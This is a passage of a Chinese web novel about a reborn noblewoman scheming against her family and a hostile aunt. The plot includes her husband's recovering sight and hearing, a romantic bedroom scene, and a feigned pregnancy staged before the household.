陈蓉好似看到了救星,满腹委屈,踉踉跄跄扑向江兴德哭诉:“江元音简直是反了天了,她眼里已经没有我们当父母的了,我说的话她不仅不听,还折了我的手,将我轰出院门来!老爷,你可得为我做主啊!”
根据对母女二人心性的了解,江兴德一句也不信,权当她自编自演,背手蹙眉警告道:“这不是在江家,别耍这种手段,让人看笑话!”
陈蓉崩溃,“你不信我?!”
李嬷搀扶着陈蓉,帮腔道:“老爷,夫人说的都是真的,侯爷的随从将夫人的胳膊拧断,将我们赶了出来,大小姐没为夫人说半句话,全然不顾亲情啊!”
江兴德半信半疑,江正耀已怒火中烧,往青松院大门冲,满心要为陈蓉去寻江元音麻烦。
可他没能进得去,被守着院门的小厮直接扔了出来。
陈蓉心疼儿子,越发气愤委屈,冲江兴德喊道:“你现下总信了吧?!江元音就不是个东西!”
李嬷:“老爷,还是快请郎中给夫人看手吧,别耽搁诊治,落了病根!”
“不可!”江兴德一口否决,“已是宵禁时间,去哪寻郎中?动静闹大了,让亲家以为我们无能劝说女儿,那可就糟了!”
他扫了陈蓉的右手一眼,低声叮嘱道:“你且忍到明日再说!”
陈蓉难以置信,怒急攻心,直接昏了过去。
第64章 他目力恢复了
江元音第二天才知道,陈蓉昨晚就被轰出了青松院。
不仅于此,齐司延还命小厮守着院门,不许江家的人入院。
她原本的计划被他的出手打破,索性顺着他的命令,先晾晾江家人了,再做其他打算。
一连晾了三日,江元音没迈出青松院一步。
每日专心替齐司延熬药,研制药膳,偶尔会询问下人一句,江家人是否还在侯府。
得到的都是陈蓉在,江兴德、江正耀随齐文台出府去了。
第四日,丫鬟来报,说江兴德在院门口候着,求见江元音。
江元音没表态,只是确认问道:“他们今日未随二叔父出府?”
“是的,夫人。”
江元音随即吩咐清秋去找一趟秦氏,告知她可以行动了。
之后又晾了江兴德半个时辰,觉得时间差不多了,才慢悠悠起身,朝院门口走去。
隔着两丈远的距离,江元音提醒嘱咐了雪燕一遍:“我先前交代的你可别忘了。”
“夫人放心,雪燕都记得,定不会有差池!”
江元音这才冲江兴德远远唤了声:“阿父。”
守院门的小厮见状,没继续阻拦放江兴德入院,但一左一右的跟在其身后,随时准备将其重新拉出院门去。
江兴德皱着眉,被晾了几日,又被齐文台、陆氏明里暗里的催促,面子挂不住,心里更是着急,“元音,这究竟是怎么一回事?是你授意伤了你母亲?明知我们在侯府为何不见?”
陈蓉惯会添油加醋,江元音又一直是乖顺女儿的形象,所以哪怕陈蓉真的受伤脱臼,他也还是质疑其话的真假。
直到今日,也不见江元音主动来认错赔罪,齐文台也不带他们父子出门了,他觉得不太妙。
江元音欲言又止,复而低眼,叹息道:“元音身不由己,阿父见谅。”
“什么身不由己,你倒是把话给我说清楚!”江兴德板着脸,“你自小最让我省心,我还是不相信你会这般对待家人。”
江元音故作惊喜的抬眼,“阿父真的会信我?”
江兴德背手,“从小到大,我哪回没信你?”
江元音在心底冷笑。
是啊,**都信她,**都没阻止陈蓉罚她。
她面上却是感动不已,幽幽道:“四天前,听闻二叔母邀请阿父阿母来侯府小住,我甚是开心,欢欢喜喜备了晚餐,侯爷也陪着一道用餐,谁知阿母全程冷脸,一言不发,晚饭后我替阿母收拾厢房,阿母却开始数落我的不是……”
“原本阿母怎么骂我都无所谓,我受着便是,左右我都习惯了,可是……”她犹疑地瞟了候在江兴德身后的两位小厮一眼,小声道:“她竟当着侯爷的面骂侯爷耳聋目瞎、没有实权,是个废人……”
江兴德紧声道:“侯爷不是听不见吗?”
“侯爷听不见,可侯爷的随从却是听得一清二楚,这才拧断了阿母的胳膊,将她轰出了青松院。”
她说的都是实话,不过是省略了她自己那部分情况没说,不算撒谎。
至于怎么理解,就是江兴德的事了。
江兴德面色难看至极。
他认知里的江元音不会撒谎,不会搬弄是非,更没胆子忤逆父母。
而陈蓉一直善妒,不能容人。
孰是孰非,他心里已有了定论。
从前她在江宅生事,他可以睁一只眼闭一只眼,现在在侯府捅出这么大篓子,他饶不了她!
江兴德道:“此事是你阿母多舌,你领我去见侯爷,我去赔罪道歉,求他千万不要迁怒于你。”
一直以来他不阻止陈蓉的恶行,是因为想要陈蓉唱红脸,他唱白脸。
他得先卖江元音一个好,再让她对他言听计从。
这时李嬷急匆匆跑过来,叫嚷着:“不好了老爷,少爷和侯府的维航少爷打起来了,齐老夫**怒,要杖责少爷!老爷快去瞧瞧吧!”
“什么?!”江元音佯作大惊失色,慌张道:“维航可是二叔母最宝贵的孙子!这可如何是好?”
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江兴德闻言神色一凛。
江元音又道:“阿父,我同你一道去见二叔母,我去求二叔母饶过正耀。”
好听的话谁不会说呢?
动动嘴皮的“爱”,她也会。
雪燕一把拉住江元音:“不可以夫人,侯爷正在气头上,不许您出院,您现在出去,侯爷会更生气的!”
江元音咬了咬唇,只能一脸无奈冲江兴德道:“阿父,你可以一定要护住正耀啊……”
江兴德闻言,越发觉得一切都是陈蓉的错,江元音分明还是那个心里装着家人的乖女儿。
他点点头,在江元音殷切担忧的目光中快步离开。
江元音转身,眸光冰冷。
她太了解江正耀,知道如何三言两语激怒他,在江家众星捧月长大的跋扈小少爷,没有江兴德在边上压着,可不会在齐维航面前伏小做低。
从陈蓉被赶出青松院,陆氏估计就觉得他们无用想赶他们走了,更不用说现在江正耀和齐维航起了冲突。
江家马上要颜面尽失的被赶出侯府了。
如此一来,江家和齐文台一家结了仇,江家攀不上齐文台的关系,陆氏也不会再拿江家人来恶心她。
而这之后陈蓉的日子不会好过。
她曾经历过的百口莫辩,不被家人信任的委屈,都能陈蓉体验一遍。
果然,不到午时,便听到了江家人被“请”出侯府的消息。
江元音心情大好,下午去给齐司延送药时,眉眼都含笑。
齐司延敏锐察觉到她轻快的情绪,不住地打量她。
她大多时候都平静淡然的,鲜少见她有如此显放的开心。
他忍不住多看了几眼。
江元音亦捕捉到了他一直落在自己身上的目光,接过他喝光的药碗后,后知后觉意识到有些不对劲。
从她进门到他面前的距离,不在他的目力可见范围吧?
他竟然没有双目涣散,而是聚焦在她身上。
难道是喝了六天的药起效了,他目力恢复了?!
第65章 侯爷可有感觉?
江元音直直地盯着齐司延,道:“侯爷目力恢复了?”
齐司延猝不及防,眸光闪烁了下,下意识的侧过头,避开她炙热的目光。
……大意了。
曲休暗叫不好,紧张望向两人,随时准备出声帮齐司延圆场。
江元音的目光却更炙热了,惊喜道:“侯爷耳力也恢复了?!”
她刚并没有凑到他耳边,也没有大声喊叫,而他却在她的问话后,别过了头。
显然他听到了她的话。
齐司延呼吸一滞,很快回神镇定。
他看着她,眯了眯眼,一副尝试调整视野的模样,道:“似乎是比往日要看得清楚些。”
江元音眉眼飞扬,欣喜感慨道:“这药果真有效!”
她猜测得没错,他中的果然是和她前世一样的毒,她也没有记错药方。
他很快便能好起来!
只是她话音一落,便轮到齐司延目光灼热了。
他亦目不转睛地盯着她,挑眉问道:“阿音不是说这药是健体催孕的吗,怎地还能使我耳聪目明?”
平日里她情绪稳定,说起话来便滴水不漏,关于这解药的事,他变着法子套了她很多次话,总被她糊弄过去,半个字没透露。
虽说是他大意露馅在先,但现下也算是意外收获了。
江元音大脑飞速运转,认真回道:“是健体的药呀,耳聪目明亦是健体啊。”
语罢她蹲下身子,伸手探向齐司延的双腿,既是想模糊重点,也是真的好奇关心,问:“腿呢?侯爷的腿有好些吗?”
她到现在仍未能确定,他的腿是那毒导致的,还是另一种毒,又或者其他什么原因。
江元音边问边动手揉捏着齐司延的大腿,仰头期盼看他,“侯爷可有感觉?”
齐司延背脊一僵,伸手按住她作乱的手,垂首墨眸幽深盯着她,道:“阿音不妨等到晚上再来确认这药有没有效果。”
江元音不解:“为何要等到晚上?”
“现在是白天,”齐司延沉声,“阿音就这么急不可耐要和我生孩子?”
屋内是曲休、雪燕与清秋的吸气声。
三人恨不能此刻耳聋目瞎。
江元音却从容淡定,半点羞怯不见,沉浸在终于可以和他在正常的距离交流的感慨里,越发想确定他双腿的情况,顺着他的话劝道:“不管是白天生还是晚上生,总归侯爷腿脚好了才方便生。”
她是记不得他们那夜到底是怎么圆房的,但客观分析,他双腿不能动,一定不方便。
齐司延呼吸重了重,喉结上下滚动。
短暂的沉默,他清俊的脸紧绷,再开口声音却是认命的无奈:“……我们晚上再说。”
气她一直不肯坦诚是真的,受不住她这有意无意的撩拨更是真的。
江元音见他面色不太好,隐有愠色,是以不再坚持,免得适得其反。
她起身离开。
她们主仆一走,曲休合上门,上前询问道:“侯爷,夫人给你喝的药当真有效?”
他知道在侯爷在和夫人成婚前,体内的毒在元奚**的帮助下,解了个七八分。
身体各方面的能力均已恢复,但终究毒素没有全清,偶尔毒发痛苦难熬。
侯爷惯是能忍,从不吭声半句。
齐司延颔首:“确有缓解不适。”
“那侯爷……”曲休斟酌着措辞,问得委婉,“打算何时同夫人坦诚身体的情况?”
齐司延若有所思:“慢慢来吧。”
她给他解毒是一个很好的契机,他可以顺势而为,慢慢“好起来”。
曲休又问:“侯爷真打算近期和夫人生个孩子?”
侯爷之前说,在情势明朗之前,当低调行事,韬光养晦。
夫人要是怀孕了,怕是会惹来不少麻烦吧?
齐司延眼底有隐秘的温柔,面上却是一副勉为其难的模样,淡声道:“既然她这般想要,便依了她。”
其实生孩子一直不在他的计划里,至少短期内不在。
可这是她默默为他付出那么多后,唯一主动提出来的诉求。
她想要孩子,他会解决所有的后顾之忧。
曲休非常惜命的把感慨闷在了心底。
咳——
侯爷分明是自己乐意得很。
时隔多日,下午江元音终于出了青松院。
她是想去跟秦氏致谢,了解下白日里的情况,但不想引人怀疑,只能先装模作样地去关心看望陆氏。
陆氏这回没有闭门不见,带着满肚子的火道:“你来做什么?”
“二叔母开面邀侄媳家人登门,侄媳心中感激,听闻家弟同维航闹了不愉快,侄媳特来道歉,希望二叔母莫对侄媳家人生了意见,气坏了自己的身子。”
“你家人在府上时,你装聋作哑,不闻不问,现在来我面前装什么?”陆氏冷笑,借故发难道:“**,你为人子女
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,不敬不孝,我身为长辈,必须好好教导你!”
早知江元音同父母没甚感情,她根本不会让江家人住进侯府。
江家人半点用没有,倒让她多了一肚子火。
江元音解释道:“侄媳并非故意不闻不问,全因我母亲当着侯爷的面说……侯爷是个命不久矣的废人,这才惹怒了侯爷,不许我同家人见面,侄媳亦是左右为难……”
她叹了口气,接着道:“在家从父,出嫁从夫,侄媳不敢违背侯爷的命令,况的确是我母亲失言,侄媳惭愧难当。”
她在告诉陆氏,她如今只会听齐司延的话,请江家人当说客毫无意义。
陆氏只能把问责的话憋回肚子里。
她这时再替陈蓉出头责罚江元音,打的便是齐司延的脸。
他再废,也侯爵在身,又深得圣上看重。
在她孙儿能承袭侯爵前,还不能同他撕破脸,毕竟这些年都是靠着圣上每年赏给他的生辰礼过活。
思及此,陆氏开口道:“三月期限剩不到一月,你作何打算?”
江元音懂她的言下之意,故意引她误会地回:“侄媳备了礼,一会便代家弟去给维航赔礼,维航近来同侄媳熟络了不少,侄媳会再接再厉。”
陆氏闻言,满意的点点头。
有齐司延护着,她不得不先将国公府的事放一放,等到齐维航过继过去,能承袭侯爵了,齐司延便活不过今年冬天。
到时,有的是法子和时间和江元音算总账。
江元音出了静怡轩便名正言顺地去看秦氏了。
许是连着数日,都在后厨蹲守一两个时辰熬药受了累,她小坐了一会,便觉腰酸,是以动身回了青松院。
回了主屋,江元音俯趴在软榻上,雪燕和清秋为其揉腰缓解。
主仆三人随口闲聊着。
雪燕:“眼瞅着不到一个月,夫人难道真打算假孕应付?”
江元音闭眼否认:“侯爷既然愿意同我生,自没必要假孕。”
先前是看齐司延一副和她同房都勉强,那方面也真有心无力的样子,她才想着,等三月一到,先假孕应付陆氏。
可现在看来,他已经跟她圆房,说明那方面没有问题,而且并不抵触和她生孩子。
那便生一个吧。
江元音做了决定,立即吩咐道:“去寻一套干净的寝衣熏香,再备澡豆、香料热水。”
今晚,她要跟齐司延生孩子。
第66章 吻上他滚动的喉结
上辈子江元音没经历男女之事,却没少目睹男欢女爱。
她看着莺莺燕燕的女子费尽心思手段讨好李承烨,也看着李承烨同她们调情欢爱。
李承烨要折辱她,却又因为她的心如止水而暴怒。
同房时该如何做,她心里大抵有数。
当晚,齐司延一回到主屋,便嗅到了若有似无地香气。
江元音披散着下午洗过的长发,青丝如瀑,施施然朝他走来。
齐司延立即沉声屏退了曲休。
雪燕和清秋也不在屋里,江元音上前,接过了原本曲休的活,推动轮椅往里间走,轻声问:“侯爷可洗漱过了?”
齐司延轻“嗯”了声,环视里间。
屋内点了香薰,桌上留着晕黄的烛火。
他眼角眉梢沾染着满意之色。
……她有用心准备。
江元音将轮椅推至床边,立在他面前,有些犯难。
往常都是曲休将他背到床上,现在曲休不在,她不确定自己能否背动他,又怕弄巧成拙,伤了他的自尊。
稍作纠结,她目光在床榻和他之间来回,很是委婉地问:“侯爷行不行?”
齐司延挑眉:“不试试,怎知行不行?”
江元音嗔了他一眼,道:“我是问我背侯爷上床行不行,侯爷想哪里去了?”
“我亦是让阿音背我试试,”齐司延眉眼含笑,“阿音想哪里去了?”
江元音莞尔笑道:“自然是和侯爷想一处去了。”
她不纠结,蹲身去背他。
齐司延没有拒绝,一手绕过她的脖颈,任由她背着他,另一只手却悄悄按在了床榻上,支撑起自己大半的重量。
因此,江元音毫不费力地将他“背”到了床上。
江元音贴心将他的腿放置好,不可思议的轻松让她的注意力都落在他的腿上。
她坐在他腿旁,绕回了白日终止的话题,关切问道:“晚上了,侯爷能同我说说你的腿有没有好一些吗?”
她说着按了按他的小腿,试探地问:“这样有感觉吗?”
她对他腿的情况一无所知,不知是如何瘸的,何时瘸的。
更不知是完全没有一点感觉,还是局部麻木,亦或者只是不太利索。
趁这个机会,她想仔细了解一番,万一她也能想到法子治一治呢?
齐司延这回没阻止她,只是眸色发紧地盯着她。
“没有吗?”江元音手上移,落在他膝盖上方,用同等力道按了按,“这里有感觉吗?”
齐司延呼吸重了重,抿唇不语,继续盯着她。
江元音继续上移,落在他大腿的位置,重复按下去,发现手感有了差别。
很硬。
似乎是绷紧了全部的肌肉。
江元音意识到了不对劲,想抬眼同他确定,一抬眼却跌入他幽深的双眸里。
从前这样的距离,他双眼总是涣散无神的。
她略有些不适应,问道:“侯爷的双腿,不是完全没感觉,对不对?”
齐司延目不转睛,似是想将她看透。
她此刻到底是只关心他的腿,还是……故意撩拨?
齐司延沉声:“若是完全没感觉,阿音当如何?”
江元音听出他声音发紧,忍不住猜测是不是自己这一连串的发问伤到了他的自尊。
他这样矜贵骄傲的人,或许会觉得自己的试探,是在他伤口撒盐。
她决定放弃言语上的追问,从他的行动反馈来探寻答案。
不满她的沉默,齐司延又开了口:“阿音可是嫌我腿脚不便?”
“怎会?”江元音倾身凑近,眸光潋滟地望着他,“侯爷不方便,那妾身主动便好。”
齐司
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延坐靠在床榻上,安静看她,他一动未动,只是用着言语蛊惑她,“阿音打算如何主动?”
他是见过她主动的样子的。
那夜她如藤蔓缠绕他的脖颈,带着酒气吻上来。
只是酒醒后便忘掉不认账了。
但此时此刻,她是清醒的。
他眉眼里,是隐秘克制的期待。
江元音早就做过准备,完全不慌,伸手探向他的衣襟,软声道:“妾身先为侯爷更衣。”
她倾身凑近,为他宽衣解带。
两人的距离不过半拳,她身上的香气在他鼻尖弥散,随着她的动作,那一头青丝若有似无地拂着他的手背,却仿若根根都扫在他的心口。
他呼吸微滞,生生抑制着上手的冲动,近乎自虐般的被动等着。
想看她在清醒的时候,能做到哪一步。
待褪去了他的外衣,江元音双手撑在他的胸膛,半依偎在他怀里打量他。
他衣衫凌乱,微弱的烛光下,那双从前涣散的眼眸,此刻亮得惊人。
他分明一动未动,一副任她予取予求的模样,却又气场迫人,侵略性十足。
整个人都透着矛盾的反差。
可江元音对他此刻的无动于衷生出了不满。
他不是愿意和她生孩子么?
为何她都这般主动了,这个平日开屏的孔雀却没有反应?
倒好似真是她急不可耐一般。
江元音眨眨眼,故作哀怨的口吻,道:“侯爷不帮妾身脱衣吗?”
这句话暗示挑逗性十足,齐司延的定力摇摇欲坠。
他目光落在她开合的唇,喉结上下滚动。
下一瞬,江元音倾身,带着好胜心吻上他滚动的喉结。
齐司延的理智全面崩盘,一手搂过她的腰,一手穿过她的头发按住她的脖颈,热烈地吻上她的唇。
第67章 要如何才能舒服些
齐司延吻得热烈,江元音招架不住,在他怀里化作一团春水。
在她快喘不过气时,他的唇辗转到她的耳侧,给她换气的机会。
江元音浑身酥麻,在被他含住耳垂的刹那,不受控地逸出一声暧昧的娇吟。
齐司延听着,小腹一紧,在她修长的脖颈落下密密麻麻的吻,大手顺着她柔软的腰肢往上,褪下她的外衣,在她身上点火。
江元音心跳如鼓,忍不住缩肩颤栗。
可紧接着腰酸的感觉再次向她袭来,随之而来的还有熟悉的小腹坠痛。
她几乎是瞬间清醒,双手抵住他的胸膛,用力将他按倒在床榻上,拉开两人的距离。
齐司延呼吸粗重的望着她。
江元音翻身下床,他反应极快,搂过她的腰将她一把拉回,蹙眉哑声问:“去哪?”
“侯爷,今日不行……”
“不行?”齐司延危险眯眼,炙热抵住她的臀,带着愠怒:“到这步,你说不行?嗯?”
她唇色嫣红,眼神却太过清明,仿佛意乱情迷的人只有他。
她今夜不是没有喝酒吗?
她是清醒的,她却拒绝他。
她……其实不愿意吗?
江元音尴尬得想哭,重生以来她从未觉得如此丢脸,“我……来月事了。”
齐司延一怔,表情僵硬地望着她。
江元音抓准时机,从他怀里挣脱,一边整理衣衫一边唤雪燕、清秋。
她的月事一直不太准时规律,只是没想到会在这个时候来。
下午腰酸她就该反应过来的,却误以为是熬药辛劳。
等到处理完毕,再回到床上,已经是一刻钟后了。
齐司延已经冷静下来,坐靠在床头等她。
江元音上了床,自知理亏,摆出一张委屈脸,可怜兮兮道:“我腹疼腰酸,侯爷不生气了,好不好?”
齐司延原本多少是有些怨气和不爽的,听了这话,心里一软,柔声问:“要如何才能舒服些?”
“睡着了就好了。”
齐司延了然点头,掀开被子,示意她躺下睡觉。
闹了这么一出,江元音只想快点睡着,度过这个尴尬的夜晚。
她立即躺下闭眼,在脑袋着枕前,齐司延一手自然快速地伸至她脖颈下,一手揽过她的腰,让她侧身躺在自己怀里。
隔着单薄的寝衣,感受到他温热的掌心贴紧自己的腰部按揉,江元音神经紧绷,仰头看他,警惕道:“侯爷,今夜真的不行。”
……他不至于这样还要继续吧?
“你不是腰酸?”齐司延沉脸:“……我不是禽兽。”
他语气不善,动作却轻柔未停。
江元音更尴尬了,索性闭目埋首。
齐司延又气又好笑,下巴抵着她的头顶,“过几日再跟你算账。”
江元音不语装死。
他不满,原本按揉她腰背的手一停,不轻不重地拍了她臀一下,“嗯?”
“知道了。”
齐司延不再折腾她,大手不停为她按揉缓解,直到她呼吸均匀入了睡。
可他却精神奕奕,无奈却又宠溺的叹了口气。
……她倒是会折磨他。
次日清晨,江元音醒来时,齐司延已不在床榻上。
她迷糊询问进来侍候的雪燕、清秋,“侯爷呢?”
“侯爷起得早,嘱咐我们不要吵夫人,让夫人好好休息。”
“侯爷还命后厨备了暖汤糖水,夫人起来就能喝。”
江元音听着,想起他昨夜一直为她按揉腰腹,替她缓解腰酸,忽然有些感慨。
齐司延对她的好,不是动动嘴皮的关心,而是明确的行动。
行动远比甜言蜜语动人。
他对她,或许不仅仅是出于丈夫对妻子的责任,也有心动欢喜吧?
下一秒,她立即泯灭了自己这个念想。
两辈子的经历告诉她,不要自作多情,对任何人、任何感情都不要抱期待,便永远不会失望伤心。
但无论如何,能嫁与他,的确是一件幸事。
接下来的几日,江元音过得非常顺心。
齐司延目力、耳力恢复不少,一日三餐不再需要她侍候喂
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食,每晚都体贴帮她揉腰捂肚,日日命后厨给她备着暖汤糖水,对她颇为照顾。
而陆氏那边,听闻江兴德送了厚礼赔罪,之前的“不愉快”就那么了了。
四日后,下午。
齐司延一如往常喝了江元音送过去的药,然后神色严肃的留住了她。
江元音见状询问:“侯爷还有事要交代?”
齐司延颔首,没卖关子,直接道:“我今日要出府。”
“去哪?云鹤观?”
齐司延没否认,只是补充道:“不是三五日,约莫要十天左右,你莫要担心。”
其实十天左右都勉强,毕竟他这一回要出汴京。
闻言,江元音莫名一阵失落,“十天?要这么久?”
近来两人相处甚欢,关系变得亲密了很多。
齐司延倒是忽然开心许多,挑眉反问:“舍不得我?”
江元音眉眼弯弯,“妾身自然舍不得侯爷。”
她从不介意说好话哄人,何况她的确有些不舍。
她无意腻歪,又问:“是去见元奚**吗?”
齐司延也没否认。
江元音知道元奚**是踪影难觅的高人,要十天这么久应是想到什么新的法子给齐司延治病了。
这是好事,指不定十日后,他的腿能好些呢。
思及此,江元音温声表态道:“妾身知道了,望侯爷一切顺利,早去早回。”
齐司延牵过她的手,叮嘱道:“不要透露我出府的消息,二叔母以为我在府中会有所忌惮,不会寻你麻烦,若有甚突发的状况,立即送信去云鹤观。”
从前他来去自如,从不与人交代行踪。
现在有了她,也有了牵挂。
他不担心此行凶险,只怕他出府后,她会被人欺负,受委屈。
江元音听出他言语中的关心,笑着点头应道:“侯爷放心,妾身等你回来。”
然而当晚,江元音独自躺在床上,辗转反侧大半宿,难以入睡。
床上少了个人,忽然有些不习惯了。
她好像……有些依赖他了。
第68章 **亲夫
江元音不允许自己长时间陷在矫情伤感的情绪里,她将心思全部挪到对付陆氏上。
有了江家送来的钱财,算是缓了陆氏的燃眉之急,陆氏开始吸江家的血,短时间内不打她嫁妆的主意了。
江家迁至汴京后,久久未得圣上召见,江正耀入宫伴读的事暂无后续。
想必江兴德是急得不行,知道靠不上齐司延,才这么下血本的,想要攀附上齐文台。
而陆氏根本就是个靠吸侯府血的寄生虫,为了攀附国公府,掏空侯府把齐婧涵嫁过去,没能把她的嫁妆占为己有,距离齐司延生辰赏赐还有四月,只能剥削江家了。
江元音毫不在意。
江家她想要的,早在她出嫁前,她悉数拿走了,剩下的江兴德要怎么花,给谁花,她并不心疼。
江兴德上赶着巴结讨好齐文台、陆氏,与她无关。
江家的钱财大半充了国库,小半被她带走,剩下的又能在汴京撑多久呢?
等到她收拾了陆氏,有江兴德悔恨的时候。
为了麻痹陆氏,江元音隔日便会去看望齐维航,俨然一副做好了要给他当娘的准备。
这日,齐维航在院中玩闹,几个丫鬟跟在他身后跑,生怕他摔着磕着。
江元音和秦氏则坐在石椅上,喝茶交谈。
秦氏目光追随着齐维航,提醒江元音道:“马上要到父亲的生辰,你当心些,指不定又会让你来操办。”
其实江元音觉得让她操办的可能性不大,毕竟陆氏才在齐婧涵的归宁宴上栽了这么大个跟头,应该没那么蠢,又来第二回。
只不过没有十全的把握,她亦不会把话说死,她回道:“好,我会提前做准备。”
“每年父亲生辰,母亲都会竭力大办,会邀父亲的同僚登门,”秦氏说着想到什么似的,目光从齐维航身上转移到面前的江元音身上,担忧道:“婧涵和子枫肯定也会回来贺寿,不知到时会不会因为归宁宴的事而对你……”
她点到即止的停顿,其中深意相信江元音定能体会。
江元音心底有了新的念头,笑道:“竟这般热闹,倒不失为绝佳的好时机。”
“什么好时机?”
“三月期限要到了,”江元音眼带笑意的望着秦氏,“堂嫂,我们等的东风来了。”
秦氏激动起来,殷切握住江元音的手,“当真?你要如何做?”
眼瞅着三月之期要到,她心里总不踏实,但一想到无论是归宁宴还是江家人登门,江元音全都解决了,侯府上下更是深知齐司延对其宠爱有加,不敢造次,她便强迫自己不去多想干着急。
江元音没接话,问道:“二叔父生辰是哪日?”
“六月十二。”
江元音思量了下,“今日是五月二十四,还有小半月,来得及。”
“可过了这个月就满三个月了,母亲怕是等不到父亲生辰那日,下月初就要着手将维航过继给你了,”秦氏忧心忡忡,“当真来得及吗?弟妹,你到底预备如何做?”
“堂嫂莫急,待我思虑周全了,再同你细说,到时还盼堂嫂配合一二。”
“你尽管吩咐便是。”
江元音回到青松院后,着手写了个单子,让清秋出府去西街买点心,再寻个不起眼的药铺,按照单子给她抓一副药。
从第一次出府,特意去西街买了点心,主动送去给陆氏、齐婧涵被嘲后,这便成了江元音让清秋出府办事的最好幌子。
她让清秋去抓的,是能让郎中诊出“喜脉”的假孕药。
前世当了几年的皇后,各种宫斗手段她耳濡目染,“假孕”药便是宫斗手段之一。
最初齐司延和她分房而睡,她敢跟陆氏争取三个月的期限,计划用的便是这一招。
只是没想到后来她和他日渐亲密,还真的圆房了。
虽然也就她生辰醉酒,完全记不得的那一回。
但她也可以名正言顺的“怀孕”了。
齐司延出府已有六日,还有四天便要回来了,待他回来,她再告诉他,为了应付和陆氏的三月限期,只能先假孕了。
假孕才是风险最低的应对陆氏的法子,毕竟以陆氏歹毒的心肠,知晓她有孕后,定什么脏手段都使出来了。
待下月齐文台生辰,收拾了陆氏,他们再努努力,生的孩子只会差个月份。
齐司延离府第八日,陆氏派了丫鬟来青松院知
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会江元音,让她去静怡轩议事。
江元音知晓时机到了,做好准备,动身去静怡轩。
她到时,大厅里已经很热闹,齐文台的各房妾室儿女,以及齐明宏的妻妾儿女都到了。
不同于先前被无视,有了归宁宴那一出,没人敢再小瞧江元音,只是碍于陆氏在场,没人敢明着跟她热络示好,不少人暗暗朝她笑笑,但更多人保持观望态度。
毕竟齐司延能活多久,真不好说。
人到齐后,坐在主位的陆氏便发话了:“今日召大家前来,是为了商议下月老爷的生辰,我近来身子骨不好,有心无力,你们可有愿意操持的?”
大家都知这是费力不讨好的事,万一搞砸了,她们可不像江元音,有齐司延护着。
齐文台的妾室率先表态推拒:“妹妹自嫁给老爷,从未担此大责,怕毁了老爷生辰,更是有心无力,妹妹没能力操持,但愿出一百两给老爷办宴。”
“我也愿出一百两!”
“我也是!”
“我能力有限,愿出八十两。”
……
……
大家相继表态,陆氏一一听着,面色满意。
她本就没打算交给这些人,要的就是她们掏钱而已。
等到这些妾室都承诺了掏钱,她悠悠的开口道:“你们有这份心,老爷的生辰宴定能办好。”
她目光看向秦氏,道:“左右你也无事,老爷的生辰宴便交予你负责了。”
在场的人和身边的人交换着眼色,对陆氏的决定有些讶然。
竟然不是交给**?
陆氏从未想过要交给江元音,怕又被她搞砸,还处置不了她。
陆氏现在对江元音就一个打算,等到月初将齐维航过继过去,确保齐维航能继承侯爵,届时再借江元音之手,弄死齐司延。
给江元音定个**亲夫的罪名,给她好好算个总账。
秦氏没料到这活竟落到了自己头上,但她不敢推拒,起身行礼:“儿媳定竭尽全力去办,不负母亲所托。”
陆氏点点头,这才将目光落在江元音身上,问道:“**,你的心意呢?”
事她可以不办,这笔钱,她必须掏。
第69章 侯爷,夫人有喜了
所有的人目光都落在江元音身上。
陆氏前边的所言所行都是铺垫,现在才是重点。
江元音低眼,开口回道:“二叔父生辰,侄媳愿意为二叔父……唔……”
她说着捏帕捂嘴,犯起了恶心。
陆氏嫌恶皱眉,盯着她等着。
先前让她操持归宁宴那回,她也是这般,不好好说话,张嘴便吐。
连番如此,她不得不怀疑她之前也是故意的。
全场表情丰富地等江元音缓过来。
她抚了抚胸口,好似缓和了,开口道:“二叔母见谅,侄媳身子……唔……”
刚一说话,又干呕了起来。
清秋忙端茶递过去,给她拍背安抚,一旁的雪燕扬声冲陆氏道:“叔祖母,我家夫人身子不适,还请叔祖母允我们扶夫人回院休息。”
“先前好好的,怎地一同我说话便不适了?”陆氏冷笑,“**,你莫不是在骂我,说我令你作呕不成?”
她定是不想掏钱,才在这演戏!
想走?没门!
江元音心道陆氏还算是有自知之明,她的确令她作呕。
她喝了口茶,好似好些了,拉住雪燕,冲陆氏道:“侄媳近来肠胃不适,胃口不好,并非是见到二叔母故意这般,而是……”
她继续捂嘴,将“陆氏令她作呕”这点,演绎得淋漓尽致。
众人神色各异。
有人事不关己,有人津津有味看戏。
先前都好端端的,一和陆氏说话就吐,应当是装的吧?
这**真是有恃无恐啊,敢这般不将陆氏放在眼里。
不出力也不想出钱的,还恶心陆氏。
这时秦氏出声道:“母亲,今日日头大,维航在院子里玩中了暑气,正巧我刚请了郎中来开方子,弟妹脸色确不太好,指不定也是中了暑气,要不唤郎中过来瞧瞧吧?”
“行,就唤郎中过来看诊,”陆氏命丫鬟去请郎中,扬声冲江元音道:“一会郎中来了,你是真不舒服还是装不舒服自见分晓,你若是装的,今日便是当着众人的面对我不敬,我非要跟你讨个说法!”
她笃定江元音就是装的,和上回一样。
这回她看齐司延还怎么护她!
江元音俯首对着清秋端来的铜盆不住干呕,一副难受得说不出话来的样子。
未多久,郎中匆匆赶来,朝厅内众位夫人作揖行礼。
主位的陆氏指着江元音对他道:“去给她号脉,看看她身子到底有没有病症,”她冷哼一声,阴阳怪气地提醒道:“你可得瞧仔细了,我素来最讨厌人无病呻吟。”
郎中应声走到江元音面前,为其号脉。
在座的众人恨不能把头探过去,对结果好奇得很。
**到底是真病假病?
这出戏要如何收场?
片刻后,郎中摸了摸胡须收回手。
江元音虚弱问道:“我可是中了暑气?”
郎中摇头,回道:“侯夫人且安心,您身子无恙,并无病症。”
陆氏拍桌,直接发难道:“好你个**,果然装病,你便是对我再不满,我亦是你的长辈,你对长辈便是这般态度吗?”
“我……我……”江元音委屈咬唇,拧眉看向郎中,弱声问:“请问郎中,若我身子无恙,近来为何没有胃口,嗜睡乏力,常犯恶心?”
“此乃害喜之症,恭喜侯夫人,您有喜了。”
江元音眸光闪烁,满脸惊喜与难以置信道:“什、什么?我有喜了?当真?!”
雪燕和清秋欢呼:“太好了!夫人有喜了!侯爷知晓一定开心极了!”
满座皆惊,唏嘘声四起。
**不是装病,而是怀孕了?!
传闻中病弱不行的定宁侯,竟……还是行的?
陆氏脑子里如有上百只虫子在鸣叫,嗡嗡作响,同郎中确认道:“你说什么?”
**怀孕了?
这如何可能!
**没喝她送过去的避子汤?
郎中起身,作揖回道:“侯夫人身子没有病症,一切不适皆因有了身孕。”
陆氏身子一颤,如遭重创。
之前给**号了脉,并没有怀孕,之后**一副怀孕无望,隔三岔五去看望齐维航,俨然一副做好准备,接纳齐维航,同他培养感情的样子。
